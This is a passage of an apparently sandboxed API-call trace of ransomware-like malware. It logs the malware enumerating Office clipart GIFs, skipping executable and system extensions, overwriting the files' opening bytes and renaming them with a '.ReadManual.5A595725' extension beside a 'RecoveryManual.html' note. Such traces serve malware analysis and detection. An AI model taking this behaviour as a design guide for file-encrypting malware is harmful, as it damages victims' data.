(hMem=0x76c1a55b) returned 0x76c1a55b [0258.758] CloseHandle (hObject=0x194) returned 1 [0258.758] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0258.758] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00164_.GIF" | out: lpString1="AG00164_.GIF") returned="AG00164_.GIF" [0258.759] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.759] StrStrIW (lpFirst="AG00164_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.759] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.759] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.759] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.759] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" [0258.759] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ReadManual.5A595725" [0258.759] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.ReadManual.5A595725") returned 87 [0258.759] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37942782422) returned 1 [0258.759] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0258.759] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.759] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13254) returned 1 [0258.759] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33c6, lpName=0x0) returned 0x184 [0258.760] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.760] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.760] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.762] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.762] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33c6) returned 0x2f0000 [0258.762] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37943124085) returned 1 [0258.763] CloseHandle (hObject=0x184) returned 1 [0258.763] SetSecurityInfo () returned 0x57 [0258.763] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.763] CloseHandle (hObject=0x194) returned 1 [0258.764] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0258.764] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00165_.GIF" | out: lpString1="AG00165_.GIF") returned="AG00165_.GIF" [0258.764] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.764] StrStrIW (lpFirst="AG00165_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.764] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.764] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.764] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.764] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" [0258.764] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ReadManual.5A595725" [0258.764] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.ReadManual.5A595725") returned 87 [0258.764] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37943308570) returned 1 [0258.764] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0258.765] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.766] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8582) returned 1 [0258.766] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2186, lpName=0x0) returned 0x184 [0258.766] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.766] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.766] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.768] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.768] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2186) returned 0x2f0000 [0258.768] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.768] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37943710157) returned 1 [0258.768] CloseHandle (hObject=0x184) returned 1 [0258.768] SetSecurityInfo () returned 0x57 [0258.768] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.768] CloseHandle (hObject=0x194) returned 1 [0258.769] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0258.769] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00167_.GIF" | out: lpString1="AG00167_.GIF") returned="AG00167_.GIF" [0258.769] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.769] StrStrIW (lpFirst="AG00167_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.769] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.769] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.769] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.769] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.769] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.769] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.769] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.769] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.769] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.769] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.769] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.770] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.770] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.770] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.770] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" [0258.770] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ReadManual.5A595725" [0258.770] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.ReadManual.5A595725") returned 87 [0258.770] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37943846902) returned 1 [0258.770] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0258.770] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.770] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4894) returned 1 [0258.770] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x131e, lpName=0x0) returned 0x184 [0258.770] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.771] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.771] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.772] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.773] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x131e) returned 0x2f0000 [0258.773] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.773] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37944169697) returned 1 [0258.773] CloseHandle (hObject=0x184) returned 1 [0258.773] SetSecurityInfo () returned 0x57 [0258.773] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.773] CloseHandle (hObject=0x194) returned 1 [0258.774] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0258.774] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00169_.GIF" | out: lpString1="AG00169_.GIF") returned="AG00169_.GIF" [0258.774] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.774] StrStrIW (lpFirst="AG00169_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.774] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.774] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.774] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.774] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" [0258.774] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ReadManual.5A595725" [0258.774] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.ReadManual.5A595725") returned 87 [0258.774] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37944303284) returned 1 [0258.774] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0258.774] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.775] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5375) returned 1 [0258.775] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14ff, lpName=0x0) returned 0x184 [0258.775] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.775] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.775] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.777] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.777] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14ff) returned 0x2f0000 [0258.777] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.777] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37944599404) returned 1 [0258.777] CloseHandle (hObject=0x184) returned 1 [0258.777] SetSecurityInfo () returned 0x57 [0258.777] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.777] CloseHandle (hObject=0x194) returned 1 [0258.778] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0258.778] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00170_.GIF" | out: lpString1="AG00170_.GIF") returned="AG00170_.GIF" [0258.778] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.778] StrStrIW (lpFirst="AG00170_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.778] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.778] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.778] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.778] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.778] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.778] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.778] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.778] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.778] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.779] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.779] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.779] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.779] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.779] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.779] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" [0258.779] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ReadManual.5A595725" [0258.779] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.ReadManual.5A595725") returned 87 [0258.779] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37944754230) returned 1 [0258.779] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0258.779] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.779] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9248) returned 1 [0258.779] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0x184 [0258.779] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.780] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.781] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.782] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2420) returned 0x2f0000 [0258.782] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.782] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37945071218) returned 1 [0258.782] CloseHandle (hObject=0x184) returned 1 [0258.782] SetSecurityInfo () returned 0x57 [0258.782] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.782] CloseHandle (hObject=0x194) returned 1 [0258.783] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0258.783] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00171_.GIF" | out: lpString1="AG00171_.GIF") returned="AG00171_.GIF" [0258.783] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.783] StrStrIW (lpFirst="AG00171_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.783] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.783] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.783] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 